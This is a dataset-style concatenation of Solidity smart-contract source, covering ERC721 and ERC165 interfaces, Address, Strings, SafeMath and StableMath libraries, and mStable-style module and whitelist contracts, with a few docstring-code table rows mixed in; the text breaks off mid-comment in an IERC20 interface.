* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
|
Sets the Base URI for computing {tokenURI}./
|
function setMetadataBaseURI(string memory newURI) public onlyOwner {
metadataBaseURI = newURI;
}
| 12,199,678 |
./partial_match/1/0x843bD7a811DC26874Cb2ad9F4A04a8652F65d8e6/sources/contracts/liquidity-protection/LiquidityProtection.sol
|
returns a position from the store/
|
function _providerPosition(uint256 id, address provider) internal view returns (Position memory) {
Position memory pos = _position(id);
require(pos.provider == provider, "ERR_ACCESS_DENIED");
return pos;
}
| 3,560,934 |
pragma solidity 0.5.16;
interface ICERC20 {
/**
* @notice The mint function transfers an asset into the protocol, which begins accumulating
* interest based on the current Supply Rate for the asset. The user receives a quantity of
* cTokens equal to the underlying tokens supplied, divided by the current Exchange Rate.
* @param mintAmount The amount of the asset to be supplied, in units of the underlying asset.
* @return 0 on success, otherwise an Error codes
*/
function mint(uint mintAmount) external returns (uint);
/**
* @notice The redeem underlying function converts cTokens into a specified quantity of the underlying
* asset, and returns them to the user. The amount of cTokens redeemed is equal to the quantity of
* underlying tokens received, divided by the current Exchange Rate. The amount redeemed must be less
* than the user's Account Liquidity and the market's available liquidity.
* @param redeemAmount The amount of underlying to be redeemed.
* @return 0 on success, otherwise an Error codes
*/
function redeemUnderlying(uint redeemAmount) external returns (uint);
/**
* @notice The user's underlying balance, representing their assets in the protocol, is equal to
* the user's cToken balance multiplied by the Exchange Rate.
* @param owner The account to get the underlying balance of.
* @return The amount of underlying currently owned by the account.
*/
function balanceOfUnderlying(address owner) external returns (uint);
/**
* @notice Calculates the exchange rate from the underlying to the CToken
* @dev This function does not accrue interest before calculating the exchange rate
* @return Calculated exchange rate scaled by 1e18
*/
function exchangeRateStored() external view returns (uint);
/**
* @notice Get the token balance of the `owner`
* @param owner The address of the account to query
* @return The number of tokens owned by `owner`
*/
function balanceOf(address owner) external view returns (uint256);
}
interface IBasicToken {
function decimals() external view returns (uint8);
}
library CommonHelpers {
/**
* @notice Fetch the `decimals()` from an ERC20 token
* @dev Grabs the `decimals()` from a contract and fails if
* the decimal value does not live within a certain range
* @param _token Address of the ERC20 token
* @return uint256 Decimals of the ERC20 token
*/
function getDecimals(address _token)
internal
view
returns (uint256) {
uint256 decimals = IBasicToken(_token).decimals();
require(decimals >= 4 && decimals <= 18, "Token must have sufficient decimal places");
return decimals;
}
}
interface IPlatformIntegration {
/**
* @dev Deposit the given bAsset to Lending platform
* @param _bAsset bAsset address
* @param _amount Amount to deposit
*/
function deposit(address _bAsset, uint256 _amount, bool isTokenFeeCharged)
external returns (uint256 quantityDeposited);
/**
* @dev Withdraw given bAsset from Lending platform
*/
function withdraw(address _receiver, address _bAsset, uint256 _amount, bool _isTokenFeeCharged) external;
/**
* @dev Returns the current balance of the given bAsset
*/
function checkBalance(address _bAsset) external returns (uint256 balance);
/**
* @dev Returns the pToken
*/
function bAssetToPToken(address _bAsset) external returns (address pToken);
}
contract InitializableModuleKeys {
// Governance // Phases
bytes32 internal KEY_GOVERNANCE; // 2.x
bytes32 internal KEY_STAKING; // 1.2
bytes32 internal KEY_PROXY_ADMIN; // 1.0
// mStable
bytes32 internal KEY_ORACLE_HUB; // 1.2
bytes32 internal KEY_MANAGER; // 1.2
bytes32 internal KEY_RECOLLATERALISER; // 2.x
bytes32 internal KEY_META_TOKEN; // 1.1
bytes32 internal KEY_SAVINGS_MANAGER; // 1.0
/**
* @dev Initialize function for upgradable proxy contracts. This function should be called
* via Proxy to initialize constants in the Proxy contract.
*/
function _initialize() internal {
// keccak256() values are evaluated only once at the time of this function call.
// Hence, no need to assign hard-coded values to these variables.
KEY_GOVERNANCE = keccak256("Governance");
KEY_STAKING = keccak256("Staking");
KEY_PROXY_ADMIN = keccak256("ProxyAdmin");
KEY_ORACLE_HUB = keccak256("OracleHub");
KEY_MANAGER = keccak256("Manager");
KEY_RECOLLATERALISER = keccak256("Recollateraliser");
KEY_META_TOKEN = keccak256("MetaToken");
KEY_SAVINGS_MANAGER = keccak256("SavingsManager");
}
}
interface INexus {
function governor() external view returns (address);
function getModule(bytes32 key) external view returns (address);
function proposeModule(bytes32 _key, address _addr) external;
function cancelProposedModule(bytes32 _key) external;
function acceptProposedModule(bytes32 _key) external;
function acceptProposedModules(bytes32[] calldata _keys) external;
function requestLockModule(bytes32 _key) external;
function cancelLockModule(bytes32 _key) external;
function lockModule(bytes32 _key) external;
}
contract InitializableModule is InitializableModuleKeys {
INexus public nexus;
/**
* @dev Modifier to allow function calls only from the Governor.
*/
modifier onlyGovernor() {
require(msg.sender == _governor(), "Only governor can execute");
_;
}
/**
* @dev Modifier to allow function calls only from the Governance.
* Governance is either Governor address or Governance address.
*/
modifier onlyGovernance() {
require(
msg.sender == _governor() || msg.sender == _governance(),
"Only governance can execute"
);
_;
}
/**
* @dev Modifier to allow function calls only from the ProxyAdmin.
*/
modifier onlyProxyAdmin() {
require(
msg.sender == _proxyAdmin(), "Only ProxyAdmin can execute"
);
_;
}
/**
* @dev Modifier to allow function calls only from the Manager.
*/
modifier onlyManager() {
require(msg.sender == _manager(), "Only manager can execute");
_;
}
/**
* @dev Initialization function for upgradable proxy contracts
* @param _nexus Nexus contract address
*/
function _initialize(address _nexus) internal {
require(_nexus != address(0), "Nexus address is zero");
nexus = INexus(_nexus);
InitializableModuleKeys._initialize();
}
/**
* @dev Returns Governor address from the Nexus
* @return Address of Governor Contract
*/
function _governor() internal view returns (address) {
return nexus.governor();
}
/**
* @dev Returns Governance Module address from the Nexus
* @return Address of the Governance (Phase 2)
*/
function _governance() internal view returns (address) {
return nexus.getModule(KEY_GOVERNANCE);
}
/**
* @dev Return Staking Module address from the Nexus
* @return Address of the Staking Module contract
*/
function _staking() internal view returns (address) {
return nexus.getModule(KEY_STAKING);
}
/**
* @dev Return ProxyAdmin Module address from the Nexus
* @return Address of the ProxyAdmin Module contract
*/
function _proxyAdmin() internal view returns (address) {
return nexus.getModule(KEY_PROXY_ADMIN);
}
/**
* @dev Return MetaToken Module address from the Nexus
* @return Address of the MetaToken Module contract
*/
function _metaToken() internal view returns (address) {
return nexus.getModule(KEY_META_TOKEN);
}
/**
* @dev Return OracleHub Module address from the Nexus
* @return Address of the OracleHub Module contract
*/
function _oracleHub() internal view returns (address) {
return nexus.getModule(KEY_ORACLE_HUB);
}
/**
* @dev Return Manager Module address from the Nexus
* @return Address of the Manager Module contract
*/
function _manager() internal view returns (address) {
return nexus.getModule(KEY_MANAGER);
}
/**
* @dev Return SavingsManager Module address from the Nexus
* @return Address of the SavingsManager Module contract
*/
function _savingsManager() internal view returns (address) {
return nexus.getModule(KEY_SAVINGS_MANAGER);
}
/**
* @dev Return Recollateraliser Module address from the Nexus
* @return Address of the Recollateraliser Module contract (Phase 2)
*/
function _recollateraliser() internal view returns (address) {
return nexus.getModule(KEY_RECOLLATERALISER);
}
}
contract InitializableGovernableWhitelist is InitializableModule {
event Whitelisted(address indexed _address);
mapping(address => bool) public whitelist;
/**
* @dev Modifier to allow function calls only from the whitelisted address.
*/
modifier onlyWhitelisted() {
require(whitelist[msg.sender], "Not a whitelisted address");
_;
}
/**
* @dev Initialization function for upgradable proxy contracts
* @param _nexus Nexus contract address
* @param _whitelisted Array of whitelisted addresses.
*/
function _initialize(
address _nexus,
address[] memory _whitelisted
)
internal
{
InitializableModule._initialize(_nexus);
require(_whitelisted.length > 0, "Empty whitelist array");
for(uint256 i = 0; i < _whitelisted.length; i++) {
_addWhitelist(_whitelisted[i]);
}
}
/**
* @dev Adds a new whitelist address
* @param _address Address to add in whitelist
*/
function _addWhitelist(address _address) internal {
require(_address != address(0), "Address is zero");
require(! whitelist[_address], "Already whitelisted");
whitelist[_address] = true;
emit Whitelisted(_address);
}
}
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library StableMath {
using SafeMath for uint256;
/**
* @dev Scaling unit for use in specific calculations,
* where 1 * 10**18, or 1e18 represents a unit '1'
*/
uint256 private constant FULL_SCALE = 1e18;
/**
* @notice Token Ratios are used when converting between units of bAsset, mAsset and MTA
* Reasoning: Takes into account token decimals, and difference in base unit (i.e. grams to Troy oz for gold)
* @dev bAsset ratio unit for use in exact calculations,
* where (1 bAsset unit * bAsset.ratio) / ratioScale == x mAsset unit
*/
uint256 private constant RATIO_SCALE = 1e8;
/**
* @dev Provides an interface to the scaling unit
* @return Scaling unit (1e18 or 1 * 10**18)
*/
function getFullScale() internal pure returns (uint256) {
return FULL_SCALE;
}
/**
* @dev Provides an interface to the ratio unit
* @return Ratio scale unit (1e8 or 1 * 10**8)
*/
function getRatioScale() internal pure returns (uint256) {
return RATIO_SCALE;
}
/**
* @dev Scales a given integer to the power of the full scale.
* @param x Simple uint256 to scale
* @return Scaled value a to an exact number
*/
function scaleInteger(uint256 x)
internal
pure
returns (uint256)
{
return x.mul(FULL_SCALE);
}
/***************************************
PRECISE ARITHMETIC
****************************************/
/**
* @dev Multiplies two precise units, and then truncates by the full scale
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit
*/
function mulTruncate(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
return mulTruncateScale(x, y, FULL_SCALE);
}
/**
* @dev Multiplies two precise units, and then truncates by the given scale. For example,
* when calculating 90% of 10e18, (10e18 * 9e17) / 1e18 = (9e36) / 1e18 = 9e18
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @param scale Scale unit
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit
*/
function mulTruncateScale(uint256 x, uint256 y, uint256 scale)
internal
pure
returns (uint256)
{
// e.g. assume scale = fullScale
// z = 10e18 * 9e17 = 9e36
uint256 z = x.mul(y);
// return 9e38 / 1e18 = 9e18
return z.div(scale);
}
/**
* @dev Multiplies two precise units, and then truncates by the full scale, rounding up the result
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit, rounded up to the closest base unit.
*/
function mulTruncateCeil(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
// e.g. 8e17 * 17268172638 = 138145381104e17
uint256 scaled = x.mul(y);
// e.g. 138145381104e17 + 9.99...e17 = 138145381113.99...e17
uint256 ceil = scaled.add(FULL_SCALE.sub(1));
// e.g. 13814538111.399...e18 / 1e18 = 13814538111
return ceil.div(FULL_SCALE);
}
/**
* @dev Precisely divides two units, by first scaling the left hand operand. Useful
* for finding percentage weightings, i.e. 8e18/10e18 = 80% (or 8e17)
* @param x Left hand input to division
* @param y Right hand input to division
* @return Result after multiplying the left operand by the scale, and
* executing the division on the right hand input.
*/
function divPrecisely(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
// e.g. 8e18 * 1e18 = 8e36
uint256 z = x.mul(FULL_SCALE);
// e.g. 8e36 / 10e18 = 8e17
return z.div(y);
}
/***************************************
RATIO FUNCS
****************************************/
/**
* @dev Multiplies and truncates a token ratio, essentially flooring the result
* i.e. How much mAsset is this bAsset worth?
* @param x Left hand operand to multiplication (i.e Exact quantity)
* @param ratio bAsset ratio
* @return Result after multiplying the two inputs and then dividing by the ratio scale
*/
function mulRatioTruncate(uint256 x, uint256 ratio)
internal
pure
returns (uint256 c)
{
return mulTruncateScale(x, ratio, RATIO_SCALE);
}
/**
* @dev Multiplies and truncates a token ratio, rounding up the result
* i.e. How much mAsset is this bAsset worth?
* @param x Left hand input to multiplication (i.e Exact quantity)
* @param ratio bAsset ratio
* @return Result after multiplying the two inputs and then dividing by the shared
* ratio scale, rounded up to the closest base unit.
*/
function mulRatioTruncateCeil(uint256 x, uint256 ratio)
internal
pure
returns (uint256)
{
// e.g. How much mAsset should I burn for this bAsset (x)?
// 1e18 * 1e8 = 1e26
uint256 scaled = x.mul(ratio);
// 1e26 + 9.99e7 = 100..00.999e8
uint256 ceil = scaled.add(RATIO_SCALE.sub(1));
// return 100..00.999e8 / 1e8 = 1e18
return ceil.div(RATIO_SCALE);
}
/**
* @dev Precisely divides two ratioed units, by first scaling the left hand operand
* i.e. How much bAsset is this mAsset worth?
* @param x Left hand operand in division
* @param ratio bAsset ratio
* @return Result after multiplying the left operand by the scale, and
* executing the division on the right hand input.
*/
function divRatioPrecisely(uint256 x, uint256 ratio)
internal
pure
returns (uint256 c)
{
// e.g. 1e14 * 1e8 = 1e22
uint256 y = x.mul(RATIO_SCALE);
// return 1e22 / 1e12 = 1e10
return y.div(ratio);
}
/***************************************
HELPERS
****************************************/
/**
* @dev Calculates minimum of two numbers
* @param x Left hand input
* @param y Right hand input
* @return Minimum of the two inputs
*/
function min(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
return x > y ? y : x;
}
/**
* @dev Calculated maximum of two numbers
* @param x Left hand input
* @param y Right hand input
* @return Maximum of the two inputs
*/
function max(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
return x > y ? x : y;
}
/**
* @dev Clamps a value to an upper bound
* @param x Left hand input
* @param upperBound Maximum possible value to return
* @return Input x clamped to a maximum value, upperBound
*/
function clamp(uint256 x, uint256 upperBound)
internal
pure
returns (uint256)
{
return x > upperBound ? upperBound : x;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
